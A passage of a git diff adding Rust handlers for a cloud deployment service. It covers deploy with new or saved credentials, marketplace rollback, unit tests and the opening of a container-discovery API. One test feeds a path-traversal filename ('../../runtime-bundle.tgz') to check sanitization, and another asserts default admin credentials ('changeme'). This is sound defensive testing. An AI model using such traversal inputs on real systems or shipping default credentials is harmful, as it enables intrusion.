.as_ref() + .map_or(true, |s| s.is_empty()); + + if token_empty && (key_empty || secret_empty) { + tracing::error!( + "Deploy rejected: cloud provider '{}' requires credentials but none provided", + form.cloud.provider + ); + return Err(JsonResponse::::build().bad_request( + "Cloud API credentials are required for cloud deployments. \ + Please provide your cloud provider API token.", + )); + } + } + + // Save cloud credentials if requested, capturing the returned cloud with its DB id + let cloud_creds: models::Cloud = (&form.cloud).into(); + + let cloud_creds = if Some(true) == cloud_creds.save_token { + db::cloud::insert(pg_pool.get_ref(), cloud_creds.clone()) + .await + .map_err(|_| { + JsonResponse::::build() + .internal_server_error("Internal Server Error") + })? + } else { + cloud_creds + }; + + // Handle server: if server_id provided, update existing; otherwise create new + let server = if let Some(server_id) = form.server.server_id { + // Update existing server + let existing = db::server::fetch(pg_pool.get_ref(), server_id) + .await + .map_err(|_| { + JsonResponse::::build() + .internal_server_error("Failed to fetch server") + })? + .ok_or_else(|| JsonResponse::::build().not_found("Server not found"))?; + + // Verify ownership + if existing.user_id != user.id { + return Err(JsonResponse::::build().not_found("Server not found")); + } + + let mut server = existing; + server.disk_type = form.server.disk_type.clone(); + server.region = form.server.region.clone(); + server.server = form.server.server.clone(); + server.zone = form.server.zone.clone().or(server.zone); + server.os = form.server.os.clone(); + server.project_id = id; + // Preserve existing srv_ip if form doesn't provide one + server.srv_ip = form.server.srv_ip.clone().or(server.srv_ip); + server.ssh_user = form.server.ssh_user.clone().or(server.ssh_user); + server.ssh_port = form.server.ssh_port.or(server.ssh_port); + server.name = form.server.name.clone().or(server.name); + if form.server.connection_mode.is_some() { + server.connection_mode = form.server.connection_mode.clone().unwrap(); + } + + db::server::update(pg_pool.get_ref(), server) + .await + .map_err(|_| { + JsonResponse::::build() + .internal_server_error("Failed to update server") + })? + } else { + // Create new server + let mut server: models::Server = (&form.server).into(); + server.user_id = user.id.clone(); + server.project_id = id; + // Set cloud_id from saved cloud credentials (if cloud was saved, it has a DB id) + if cloud_creds.id != 0 { + server.cloud_id = Some(cloud_creds.id); + } + + db::server::insert(pg_pool.get_ref(), server) + .await + .map_err(|_| { + JsonResponse::::build() + .internal_server_error("Internal Server Error") + })? + }; + + validate_reused_cloud_server(&cloud_creds, &server) + .await + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + ensure_default_status_panel_npm_credentials( + user.as_ref(), + &form, + pg_pool.get_ref(), + sets.get_ref(), + &server, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if let Some(template) = marketplace_template.as_ref() { + let requirements = parse_template_requirements(template) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + validate_template_target_requirements( + template, + &requirements, + &form.cloud.provider, + server.os.as_deref(), + ) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + validate_template_server_capacity_requirements( + template, + &requirements, + &form.cloud.provider, + if cloud_creds.id != 0 { + Some(cloud_creds.id) + } else { + None + }, + server.server.as_deref(), + user.access_token.as_deref(), + ) + .await + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + } + + let (project_id, deployment_id) = execute_deployment( + user.as_ref(), + project, + &form, + pg_pool.get_ref(), + mq_manager.get_ref(), + install_service.get_ref(), + vault_client.get_ref(), + sets.get_ref(), + cloud_creds, + server, + ) + .await?; + + Ok(JsonResponse::::build() + .set_id(project_id) + .set_meta(serde_json::json!({ "deployment_id": deployment_id })) + .ok("Success")) +} +#[tracing::instrument(name = "Deploy, when cloud token is saved", skip_all)] +#[post("/{id}/deploy/{cloud_id}")] +pub async fn saved_item( + user: web::ReqData>, + mut form: web::Json, + path: web::Path<(i32, i32)>, + pg_pool: Data, + mq_manager: Data, + sets: Data, + user_service: Data>, + install_service: Data>, + vault_client: Data, +) -> Result { + let id = path.0; + let cloud_id = path.1; + + tracing::debug!( + "User {} is deploying project: {} to cloud: {}", + user.id, + id, + cloud_id + ); + + // Validate project + let project = db::project::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|project| match project { + Some(project) => Ok(project), + None => Err(JsonResponse::::build().not_found("Project not found")), + })?; + + let marketplace_template = if let Some(template_id) = project.source_template_id { + let template = db::marketplace::get_by_id(pg_pool.get_ref(), template_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if let Some(template) = template { + if let Some(required_plan) = template.required_plan_name.as_deref() { + let has_plan = user_service + .user_has_plan(&user.id, required_plan, user.access_token.as_deref()) + .await + .map_err(|err| { + tracing::error!("Failed to validate plan: {:?}", err); + JsonResponse::::build() + .internal_server_error("Failed to validate subscription plan") + })?; + + if !has_plan { + tracing::warn!( + "User {} lacks required plan {} to deploy template {}", + user.id, + required_plan, + template_id + ); + return Err(JsonResponse::::build().forbidden(format!( + "You require a '{}' subscription to deploy this template", + required_plan + ))); + } + } + + Some(template) + } else { + None + } + } else { + None + }; + + let id = project.id; + + let cloud = match db::cloud::fetch(pg_pool.get_ref(), cloud_id).await { + Ok(cloud) => match cloud { + Some(cloud) => cloud, + None => { + return Err( + JsonResponse::::build().not_found("No cloud configured") + ); + } + }, + Err(_e) => { + return Err(JsonResponse::::build().not_found("No cloud configured")); + } + }; + + validate_project_locked_cloud_provider(&project, &cloud.provider) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + form.cloud.provider = cloud.provider.trim().to_string(); + + if !form.validate().is_ok() { + let errors = form.validate().unwrap_err().to_string(); + let err_msg = format!("Invalid form data received {:?}", &errors); + tracing::debug!(err_msg); + + return Err(JsonResponse::::build().form_error(errors)); + } + + // Validate that saved cloud credentials can be decrypted before proceeding. + // When SECURITY_KEY changed or encryption is corrupted, decode() silently + // returns "" which causes a 401 deep inside the Install Service. Catch it early. + if cloud.provider != "own" { + let test_cloud = forms::cloud::CloudForm::decode_model(cloud.clone(), true); + let token_empty = test_cloud + .cloud_token + .as_ref() + .map_or(true, |t| t.is_empty()); + let key_empty = test_cloud.cloud_key.as_ref().map_or(true, |k| k.is_empty()); + let secret_empty = test_cloud + .cloud_secret + .as_ref() + .map_or(true, |s| s.is_empty()); + + // Most providers need cloud_token; AWS needs cloud_key + cloud_secret + if token_empty && (key_empty || secret_empty) { + tracing::error!( + "Cloud credentials for cloud_id={} (provider={}) could not be decrypted. \ + Token empty: {}, Key empty: {}, Secret empty: {}", + cloud_id, + cloud.provider, + token_empty, + key_empty, + secret_empty, + ); + return Err(JsonResponse::::build().bad_request( + "Cloud API credentials could not be decrypted. \ + Please delete and re-add your cloud credentials in Settings → Cloud Providers.", + )); + } + } + + // Handle server: if server_id provided, update existing; otherwise create new + let server = if let Some(server_id) = form.server.server_id { + // Update existing server + let existing = db::server::fetch(pg_pool.get_ref(), server_id) + .await + .map_err(|_| { + JsonResponse::::build() + .internal_server_error("Failed to fetch server") + })? + .ok_or_else(|| JsonResponse::::build().not_found("Server not found"))?; + + // Verify ownership + if existing.user_id != user.id { + return Err(JsonResponse::::build().not_found("Server not found")); + } + + let mut server = existing; + server.disk_type = form.server.disk_type.clone(); + server.region = form.server.region.clone(); + server.server = form.server.server.clone(); + server.zone = form.server.zone.clone().or(server.zone); + server.os = form.server.os.clone(); + server.project_id = id; + // Preserve existing srv_ip if form doesn't provide one + server.srv_ip = form.server.srv_ip.clone().or(server.srv_ip); + server.ssh_user = form.server.ssh_user.clone().or(server.ssh_user); + server.ssh_port = form.server.ssh_port.or(server.ssh_port); + server.name = form.server.name.clone().or(server.name); + if form.server.connection_mode.is_some() { + server.connection_mode = form.server.connection_mode.clone().unwrap(); + } + server.cloud_id = Some(cloud_id); + + db::server::update(pg_pool.get_ref(), server) + .await + .map_err(|_| { + JsonResponse::::build() + .internal_server_error("Failed to update server") + })? + } else { + // Create new server + let mut server: models::Server = (&form.server).into(); + server.user_id = user.id.clone(); + server.project_id = id; + server.cloud_id = Some(cloud_id); + + db::server::insert(pg_pool.get_ref(), server) + .await + .map_err(|_| { + JsonResponse::::build() + .internal_server_error("Failed to create server") + })? + }; + + validate_reused_cloud_server(&cloud, &server) + .await + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + ensure_default_status_panel_npm_credentials( + user.as_ref(), + &form, + pg_pool.get_ref(), + sets.get_ref(), + &server, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if let Some(template) = marketplace_template.as_ref() { + let requirements = parse_template_requirements(template) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + validate_template_target_requirements( + template, + &requirements, + &cloud.provider, + server.os.as_deref(), + ) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + validate_template_server_capacity_requirements( + template, + &requirements, + &cloud.provider, + Some(cloud_id), + server.server.as_deref(), + user.access_token.as_deref(), + ) + .await + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + } + + let (project_id, deployment_id) = execute_deployment( + user.as_ref(), + project, + &form, + pg_pool.get_ref(), + mq_manager.get_ref(), + install_service.get_ref(), + vault_client.get_ref(), + sets.get_ref(), + cloud, + server, + ) + .await?; + + Ok(JsonResponse::::build() + .set_id(project_id) + .set_meta(serde_json::json!({ "deployment_id": deployment_id })) + .ok("Success")) +} + +#[tracing::instrument(name = "Rollback marketplace deployment", skip_all)] +#[post("/{id}/rollback")] +pub async fn rollback( + user: web::ReqData>, + path: web::Path<(i32,)>, + request: web::Json, + pg_pool: Data, + mq_manager: Data, + sets: Data, + install_service: Data>, + vault_client: Data, +) -> Result { + let id = path.0; + + let mut project = db::project::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|project| match project { + Some(project) if project.user_id != user.id => { + Err(JsonResponse::::build().not_found("Project not found")) + } + Some(project) => Ok(project), + None => Err(JsonResponse::::build().not_found("Project not found")), + })?; + + let template_id = project.source_template_id.ok_or_else(|| { + JsonResponse::::build() + .bad_request("Rollback is only available for marketplace projects") + })?; + let template = db::marketplace::get_by_id(pg_pool.get_ref(), template_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| JsonResponse::::build().not_found("Template not found"))?; + + let target_version = db::marketplace::list_versions_by_template(pg_pool.get_ref(), template_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .into_iter() + .find(|version| version.version == request.version) + .ok_or_else(|| { + JsonResponse::::build().bad_request(format!( + "Marketplace template version '{}' was not found", + request.version + )) + })?; + + let servers = db::server::fetch_by_project(pg_pool.get_ref(), project.id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + if servers.len() != 1 { + return Err(JsonResponse::::build() + .bad_request("Rollback currently supports exactly one attached server")); + } + let server = servers.into_iter().next().expect("server count checked"); + let cloud_id = server.cloud_id.ok_or_else(|| { + JsonResponse::::build() + .bad_request("Rollback requires a saved cloud configuration on the attached server") + })?; + let cloud = db::cloud::fetch(pg_pool.get_ref(), cloud_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| JsonResponse::::build().not_found("No cloud configured"))?; + + let requirements = parse_template_requirements(&template) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + validate_template_target_requirements( + &template, + &requirements, + &cloud.provider, + server.os.as_deref(), + ) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + validate_template_server_capacity_requirements( + &template, + &requirements, + &cloud.provider, + Some(cloud_id), + server.server.as_deref(), + user.access_token.as_deref(), + ) + .await + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + let (metadata, template_stack_code) = + build_rollback_project_payload(target_version.stack_definition.clone()) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + let deploy_form = build_rollback_deploy_form(template_stack_code); + + validate_reused_cloud_server(&cloud, &server) + .await + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + project.metadata = metadata; + project.request_json = target_version.stack_definition; + project.template_version = Some(target_version.version.clone()); + + let (project_id, deployment_id) = execute_deployment( + user.as_ref(), + project.clone(), + &deploy_form, + pg_pool.get_ref(), + mq_manager.get_ref(), + install_service.get_ref(), + vault_client.get_ref(), + sets.get_ref(), + cloud, + server, + ) + .await?; + + db::project::update(pg_pool.get_ref(), project) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + Ok(JsonResponse::::build() + .set_id(project_id) + .set_meta(serde_json::json!({ "deployment_id": deployment_id })) + .ok("Success")) +} + +#[cfg(test)] +mod tests { + use super::{ + apply_deploy_bundle, build_runtime_artifact_bundle, compose_content_from_config_files, + default_status_panel_npm_credentials, find_matching_hetzner_server, hetzner_server_ip, + preserve_marketplace_runtime_artifacts, resolve_provided_ssh_keypair, + should_seed_default_status_panel_npm_credentials, sync_runtime_artifact_bundle, + validate_min_cpu_requirement, validate_min_disk_requirement, validate_min_ram_requirement, + HetznerIpv4, HetznerPublicNet, HetznerServer, + }; + use crate::configuration::Settings; + use crate::connectors::app_service_catalog::ServerCapacity; + use crate::forms; + use crate::models::{self, StackTemplateVersion}; + use serde_json::json; + use uuid::Uuid; + + fn build_template(slug: &str) -> models::StackTemplate { + models::StackTemplate { + id: Uuid::new_v4(), + creator_user_id: "creator".to_string(), + creator_name: None, + name: "Test template".to_string(), + slug: slug.to_string(), + short_description: None, + long_description: None, + category_code: None, + product_id: None, + tags: json!([]), + tech_stack: json!({}), + status: "approved".to_string(), + is_configurable: None, + view_count: None, + deploy_count: None, + required_plan_name: None, + price: None, + billing_cycle: None, + currency: None, + created_at: None, + updated_at: None, + approved_at: None, + verifications: json!({}), + infrastructure_requirements: json!({}), + public_ports: None, + vendor_url: None, + version: None, + changelog: None, + config_files: json!(null), + assets: json!(null), + seed_jobs: json!(null), + post_deploy_hooks: json!(null), + update_mode_capabilities: None, + } + } + + fn htz_server(name: &str, ip: &str) -> HetznerServer { + HetznerServer { + name: name.to_string(), + status: Some("running".to_string()), + public_net: Some(HetznerPublicNet { + ipv4: Some(HetznerIpv4 { ip: ip.to_string() }), + }), + } + } + + #[test] + fn status_panel_managed_proxy_deploy_seeds_default_npm_credentials() { + let form = forms::project::Deploy { + stack: forms::project::Stack { + extended_features: Some(vec![json!("nginx_proxy_manager")]), + ..Default::default() + }, + server: forms::ServerForm { + connection_mode: Some("status_panel".to_string()), + ..Default::default() + }, + ..Default::default() + }; + + assert!(should_seed_default_status_panel_npm_credentials(&form)); + } + + #[test] + fn deploy_without_status_panel_does_not_seed_default_npm_credentials() { + let form = forms::project::Deploy { + stack: forms::project::Stack { + extended_features: Some(vec![json!("nginx_proxy_manager")]), + ..Default::default() + }, + ..Default::default() + }; + + assert!(!should_seed_default_status_panel_npm_credentials(&form)); + } + + #[test] + fn default_status_panel_npm_credentials_match_cli_status_defaults() { + let credentials = default_status_panel_npm_credentials(); + + assert_eq!(credentials["schema_version"], 1); + assert_eq!(credentials["host"], "http://nginx-proxy-manager:81"); + assert_eq!(credentials["email"], "admin@example.com"); + assert_eq!(credentials["password"], "changeme"); + assert_eq!(credentials["auth_mode"], "email_password"); + } + + #[test] + fn hetzner_server_matching_prefers_name_or_ip() { + let provider_servers = vec![ + htz_server("old-server", "203.0.113.10"), + htz_server("coolify-current", "203.0.113.42"), + ]; + let stacker_server = models::Server { + name: Some("coolify-current".to_string()), + srv_ip: Some("198.51.100.5".to_string()), + ..Default::default() + }; + + let matched = find_matching_hetzner_server(&provider_servers, &stacker_server) + .expect("server should match by name"); + + assert_eq!(matched.name, "coolify-current"); + assert_eq!(hetzner_server_ip(matched), Some("203.0.113.42")); + } + + #[test] + fn hetzner_server_matching_returns_none_for_deleted_server() { + let provider_servers = vec![htz_server("different", "203.0.113.10")]; + let stacker_server = models::Server { + name: Some("deleted-server".to_string()), + srv_ip: Some("203.0.113.42".to_string()), + ..Default::default() + }; + + assert!(find_matching_hetzner_server(&provider_servers, &stacker_server).is_none()); + } + + #[test] + fn min_ram_validation_allows_exact_capacity_match() { + let template = build_template("exact-match"); + let server_capacity = ServerCapacity { + id: "t3.medium".to_string(), + ram_mb: Some(2048), + cpu_cores: Some(2), + disk_gb: Some(40), + }; + + assert_eq!( + Ok(()), + validate_min_ram_requirement(&template, "t3.medium", 2048, &server_capacity) + ); + } + + #[test] + fn min_ram_validation_rejects_lower_capacity() { + let template = build_template("needs-more-ram"); + let server_capacity = ServerCapacity { + id: "t3.small".to_string(), + ram_mb: Some(1024), + cpu_cores: Some(2), + disk_gb: Some(20), + }; + + let err = validate_min_ram_requirement(&template, "t3.small", 2048, &server_capacity) + .expect_err("lower RAM should be rejected"); + + assert!(err.contains("minimum RAM requirement")); + assert!(err.contains("2048")); + assert!(err.contains("1024")); + } + + #[test] + fn min_disk_validation_allows_exact_capacity_match() { + let template = build_template("disk-exact-match"); + let server_capacity = ServerCapacity { + id: "t3.medium".to_string(), + ram_mb: Some(2048), + cpu_cores: Some(2), + disk_gb: Some(40), + }; + + assert_eq!( + Ok(()), + validate_min_disk_requirement(&template, "t3.medium", 40, &server_capacity) + ); + } + + #[test] + fn min_disk_validation_rejects_lower_capacity() { + let template = build_template("needs-more-disk"); + let server_capacity = ServerCapacity { + id: "t3.small".to_string(), + ram_mb: Some(2048), + cpu_cores: Some(2), + disk_gb: Some(20), + }; + + let err = validate_min_disk_requirement(&template, "t3.small", 40, &server_capacity) + .expect_err("lower disk should be rejected"); + + assert!(err.contains("minimum disk requirement")); + assert!(err.contains("40")); + assert!(err.contains("20")); + } + + #[test] + fn min_cpu_validation_allows_exact_capacity_match() { + let template = build_template("cpu-exact-match"); + let server_capacity = ServerCapacity { + id: "t3.medium".to_string(), + ram_mb: Some(4096), + cpu_cores: Some(4), + disk_gb: Some(40), + }; + + assert_eq!( + Ok(()), + validate_min_cpu_requirement(&template, "t3.medium", 4, &server_capacity) + ); + } + + #[test] + fn min_cpu_validation_rejects_lower_capacity() { + let template = build_template("needs-more-cpu"); + let server_capacity = ServerCapacity { + id: "t3.small".to_string(), + ram_mb: Some(4096), + cpu_cores: Some(2), + disk_gb: Some(80), + }; + + let err = validate_min_cpu_requirement(&template, "t3.small", 4, &server_capacity) + .expect_err("lower CPU should be rejected"); + + assert!(err.contains("minimum CPU requirement")); + assert!(err.contains("4")); + assert!(err.contains("2")); + } + + #[test] + fn compose_content_from_config_files_prefers_uploaded_compose() { + let compose = compose_content_from_config_files(&json!([ + { + "name": ".env", + "content": "APP_ENV=production" + }, + { + "name": "docker-compose.yml", + "content": "services:\n website:\n image: syncopiaapp/website:latest\n" + } + ])) + .expect("config files should be valid") + .expect("compose should be discovered"); + + assert!(compose.contains("syncopiaapp/website:latest")); + } + + #[test] + fn apply_deploy_bundle_merges_runtime_fields_and_returns_compose() { + let mut project = models::Project::new( + "user-1".to_string(), + "syncopia".to_string(), + json!({ + "custom": { + "web": [], + "custom_stack_code": "syncopia" + } + }), + json!({ + "custom": { + "web": [], + "custom_stack_code": "syncopia" + } + }), + ); + let form = forms::project::Deploy { + environment: Some("prod".to_string()), + config_files: Some(json!([ + { + "name": "docker-compose.yml", + "content": "services:\n website:\n image: syncopiaapp/website:latest\n", + "destination_path": "docker-compose.yml" + }, + { + "name": ".env", + "content": "WEBSITE_IMAGE=syncopiaapp/website:latest\n", + "destination_path": ".env", + "file_mode": "0644" + } + ])), + config_bundle: Some(json!({ + "manifest": { + "environment": "prod", + "config_files": [ + { + "destination_path": ".env" + } + ] + } + })), + ..Default::default() + }; + + let compose = apply_deploy_bundle(&mut project, &form) + .expect("bundle application should succeed") + .expect("compose should be available"); + + assert!(compose.contains("syncopiaapp/website:latest")); + assert_eq!(project.metadata["environment"], json!("prod")); + assert_eq!(project.request_json["environment"], json!("prod")); + assert_eq!( + project.metadata["config_files"][0]["name"], + json!("docker-compose.yml") + ); + assert_eq!( + project.metadata["custom"]["deployment_artifacts"]["config_bundle"]["environment"], + json!("prod") + ); + assert_eq!( + project.request_json["custom"]["deployment_artifacts"]["config_bundle"]["config_files"] + [0]["destination_path"], + json!(".env") + ); + assert_eq!( + project.metadata["custom"]["marketplace_config_files"][0]["path"], + json!(".env") + ); + assert_eq!( + project.metadata["custom"]["marketplace_config_files"][0]["content"], + json!("WEBSITE_IMAGE=syncopiaapp/website:latest\n") + ); + assert_eq!( + project.metadata["custom"]["marketplace_config_files"][0]["mode"], + json!("0644") + ); + } + + #[test] + fn preserve_marketplace_runtime_artifacts_backfills_from_request_json_and_version() { + let mut project = models::Project::new( + "user-1".to_string(), + "runtime-artifacts".to_string(), + json!({ + "custom": { + "web": [], + "custom_stack_code": "runtime-artifacts" + } + }), + json!({ + "custom": { + "web": [], + "custom_stack_code": "runtime-artifacts", + "marketplace_config_files": [ + {"path": "config/app.env", "content": "APP_ENV=prod"} + ] + } + }), + ); + let latest_version = StackTemplateVersion { + config_files: json!([ + {"path": "config/app.env", "content": "APP_ENV=prod"} + ]), + assets: json!([ + { + "storage_provider": "hetzner-object-storage", + "bucket": "runtime-assets", + "key": "templates/runtime/runtime-bundle.tgz", + "filename": "runtime-bundle.tgz", + "sha256": "abc123", + "size": 42, + "content_type": "application/gzip", + "decompress": true + } + ]), + seed_jobs: json!([{ "name": "seed-admin" }]), + post_deploy_hooks: json!([{ "name": "notify" }]), + ..StackTemplateVersion::default() + }; + + preserve_marketplace_runtime_artifacts(&mut project, Some(&latest_version)) + .expect("artifact preservation should succeed"); + + assert_eq!( + project.metadata["custom"]["marketplace_config_files"][0]["path"], + json!("config/app.env") + ); + assert_eq!( + project.metadata["custom"]["marketplace_assets"][0]["filename"], + json!("runtime-bundle.tgz") + ); + assert_eq!( + project.metadata["custom"]["marketplace_seed_jobs"][0]["name"], + json!("seed-admin") + ); + assert_eq!( + project.metadata["custom"]["marketplace_post_deploy_hooks"][0]["name"], + json!("notify") + ); + } + + #[test] + fn preserve_marketplace_runtime_artifacts_keeps_explicitly_cleared_fields() { + let mut project = models::Project::new( + "user-1".to_string(), + "runtime-artifacts".to_string(), + json!({ + "custom": { + "web": [], + "custom_stack_code": "runtime-artifacts", + "marketplace_assets": [], + "marketplace_seed_jobs": [], + "marketplace_post_deploy_hooks": [] + } + }), + json!({ + "custom": { + "web": [], + "custom_stack_code": "runtime-artifacts", + "marketplace_config_files": [], + "marketplace_assets": [], + "marketplace_seed_jobs": [], + "marketplace_post_deploy_hooks": [] + } + }), + ); + let latest_version = StackTemplateVersion { + config_files: json!([ + {"path": "config/app.env", "content": "APP_ENV=prod"} + ]), + assets: json!([ + { + "storage_provider": "hetzner-object-storage", + "bucket": "runtime-assets", + "key": "templates/runtime/runtime-bundle.tgz", + "filename": "runtime-bundle.tgz", + "sha256": "abc123", + "size": 42, + "content_type": "application/gzip", + "decompress": true + } + ]), + seed_jobs: json!([{ "name": "seed-admin" }]), + post_deploy_hooks: json!([{ "name": "notify" }]), + ..StackTemplateVersion::default() + }; + + preserve_marketplace_runtime_artifacts(&mut project, Some(&latest_version)) + .expect("artifact preservation should succeed"); + + assert_eq!( + project.metadata["custom"]["marketplace_config_files"], + json!([]) + ); + assert_eq!(project.metadata["custom"]["marketplace_assets"], json!([])); + assert_eq!( + project.metadata["custom"]["marketplace_seed_jobs"], + json!([]) + ); + assert_eq!( + project.metadata["custom"]["marketplace_post_deploy_hooks"], + json!([]) + ); + } + + #[test] + fn build_runtime_artifact_bundle_selects_archive_and_defers_execution() { + let mut settings = Settings::default(); + settings.marketplace_assets.enabled = true; + settings.marketplace_assets.endpoint_url = "https://objects.trydirect.test".to_string(); + settings.marketplace_assets.region = "eu-central".to_string(); + settings.marketplace_assets.current_env = "test".to_string(); + settings.marketplace_assets.access_key_id = "marketplace-test-access".to_string(); + settings.marketplace_assets.secret_access_key = "marketplace-test-secret".to_string(); + settings.marketplace_assets.bucket_test = "marketplace-assets-test".to_string(); + + let custom = json!({ + "marketplace_config_files": [ + {"path": "config/app.env", "content": "APP_ENV=prod"} + ], + "marketplace_assets": [ + { + "storage_provider": "hetzner-object-storage", + "bucket": "marketplace-assets-test", + "key": "templates/runtime/runtime-bundle.tgz", + "filename": "runtime-bundle.tgz", + "sha256": "abc123", + "size": 42, + "content_type": "application/gzip", + "decompress": true, + "fetch_target": "/opt/runtime" + }, + { + "storage_provider": "hetzner-object-storage", + "bucket": "marketplace-assets-test", + "key": "templates/runtime/logo.png", + "filename": "logo.png", + "sha256": "def456", + "size": 7, + "content_type": "image/png", + "decompress": false + } + ], + "marketplace_seed_jobs": [ + {"name": "seed-admin"} + ], + "marketplace_post_deploy_hooks": [ + {"name": "notify"} + ] + }); + + let bundle = build_runtime_artifact_bundle(&settings, &custom) + .expect("bundle build should succeed") + .expect("bundle metadata should exist"); + + assert_eq!(bundle["filename"], json!("runtime-bundle.tgz")); + assert_eq!(bundle["config_files_count"], json!(1)); + assert_eq!(bundle["seed_jobs_execution"], json!("deferred")); + assert_eq!(bundle["post_deploy_execution"], json!("deferred")); + assert!(bundle["download_url"] + .as_str() + .expect("download url should exist") + .contains("runtime-bundle.tgz")); + } + + #[test] + fn build_runtime_artifact_bundle_sanitizes_archive_filename() { + let mut settings = Settings::default(); + settings.marketplace_assets.enabled = true; + settings.marketplace_assets.endpoint_url = "https://objects.trydirect.test".to_string(); + settings.marketplace_assets.region = "eu-central".to_string(); + settings.marketplace_assets.current_env = "test".to_string(); + settings.marketplace_assets.access_key_id = "marketplace-test-access".to_string(); + settings.marketplace_assets.secret_access_key = "marketplace-test-secret".to_string(); + settings.marketplace_assets.bucket_test = "marketplace-assets-test".to_string(); + + let custom = json!({ + "marketplace_assets": [ + { + "storage_provider": "hetzner-object-storage", + "bucket": "marketplace-assets-test", + "key": "templates/runtime/runtime-bundle.tgz", + "filename": "../../runtime-bundle.tgz", + "sha256": "abc123", + "size": 42, + "content_type": "application/gzip", + "decompress": true + } + ] + }); + + let bundle = build_runtime_artifact_bundle(&settings, &custom) + .expect("bundle build should succeed") + .expect("bundle metadata should exist"); + + assert_eq!(bundle["filename"], json!("runtime-bundle.tgz")); + } + + #[test] + fn sync_runtime_artifact_bundle_removes_stale_bundle_when_artifacts_are_cleared() { + let settings = Settings::default(); + let mut project = models::Project::new( + "user-1".to_string(), + "runtime-artifacts".to_string(), + json!({ + "runtime_artifact_bundle": { + "filename": "stale-runtime-bundle.tgz" + }, + "custom": { + "web": [], + "custom_stack_code": "runtime-artifacts", + "marketplace_config_files": [], + "marketplace_assets": [], + "marketplace_seed_jobs": [], + "marketplace_post_deploy_hooks": [] + } + }), + json!({ + "runtime_artifact_bundle": { + "filename": "stale-runtime-bundle.tgz" + }, + "custom": { + "web": [], + "custom_stack_code": "runtime-artifacts", + "marketplace_config_files": [], + "marketplace_assets": [], + "marketplace_seed_jobs": [], + "marketplace_post_deploy_hooks": [] + } + }), + ); + + sync_runtime_artifact_bundle(&settings, &mut project) + .expect("runtime artifact sync should succeed"); + + assert!(project.metadata.get("runtime_artifact_bundle").is_none()); + assert!(project + .request_json + .get("runtime_artifact_bundle") + .is_none()); + } + + #[test] + fn resolve_provided_ssh_keypair_derives_public_key_when_missing() { + let (public_key, private_key) = + crate::helpers::vault::VaultClient::generate_ssh_keypair().expect("test keypair"); + let form = forms::server::ServerForm { + ssh_private_key: Some(private_key.clone()), + ..Default::default() + }; + + let resolved = resolve_provided_ssh_keypair(&form) + .expect("valid keypair") + .expect("keypair should be present"); + + assert_eq!(resolved.0, public_key); + assert_eq!(resolved.1.trim(), private_key.trim()); + } +} diff --git a/stacker/stacker/src/routes/project/discover.rs b/stacker/stacker/src/routes/project/discover.rs new file mode 100644 index 0000000..9c6389c --- /dev/null +++ b/stacker/stacker/src/routes/project/discover.rs @@ -0,0 +1,624 @@ +//! Container Discovery & Import API +//! +//! Endpoints for discovering running containers and importing them into project_app table. +//! This allows users to register containers that are running but not tracked in the database. + +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::{self, ProjectApp}; +use crate::project_app::{is_platform_managed_app_code, normalize_app_code}; +use actix_web::{get, post, web, Responder, Result}; +use serde::{Deserialize, Serialize}; +use serde_json::json; +use sqlx::PgPool; +use std::sync::Arc; + +const BLOCKED_SYSTEM_CONTAINERS: [&str; 6] = [ + "nginx_proxy_manager", + "status", + "status_agent", + "statuspanel", + "statuspanel_agent", + "telegraf", +]; + +/// Discovered container that's not registered in project_app +#[derive(Debug, Serialize, Clone)] +pub struct DiscoveredContainer { + /// Actual Docker container name + pub container_name: String, + /// Docker image + pub image: String, + /// Container status (running, stopped, etc.) + pub status: String, + /// Suggested app_code based on container name heuristics + pub suggested_code: String, + /// Suggested display name + pub suggested_name: String, +} + +/// Response for container discovery endpoint +#[derive(Debug, Serialize, Default)] +pub struct DiscoverResponse { + /// Containers that are registered in project_app + pub registered: Vec, + /// Containers running but not in database + pub unregistered: Vec, + /// Registered apps with no matching running container + pub missing_containers: Vec, +} + +#[derive(Debug, Serialize)] +pub struct RegisteredContainerInfo { + pub app_code: String, + pub app_name: String, + pub container_name: String, + pub status: String, +} + +#[derive(Debug, Serialize)] +pub struct MissingContainerInfo { + pub app_code: String, + pub app_name: String, + pub expected_pattern: String, +} + +/// Request to import discovered containers +#[derive(Debug, Deserialize)] +pub struct ImportContainersRequest { + pub containers: Vec, +} + +#[derive(Debug, Deserialize)] +pub struct ContainerImport { + /// Actual Docker container name + pub container_name: String, + /// App code to assign (user can override suggested) + pub app_code: String, + /// Display name + pub name: String, + /// Docker image + pub image: String, +} + +/// Discover running containers for a deployment +/// +/// This endpoint compares running Docker containers (from recent health checks) +/// with registered project_app records to identify: +/// - Registered apps with running containers (synced) +/// - Running containers not in database (unregistered, can be imported) +/// - Database apps with no running container (stopped or name mismatch) +#[tracing::instrument(name = "Discover containers", skip_all)] +#[get("/{project_id}/containers/discover")] +pub async fn discover_containers( + user: web::ReqData>, + path: web::Path, + query: web::Query, + pg_pool: web::Data, +) -> Result { + let project_id = path.into_inner(); + + // Verify project ownership + let project = 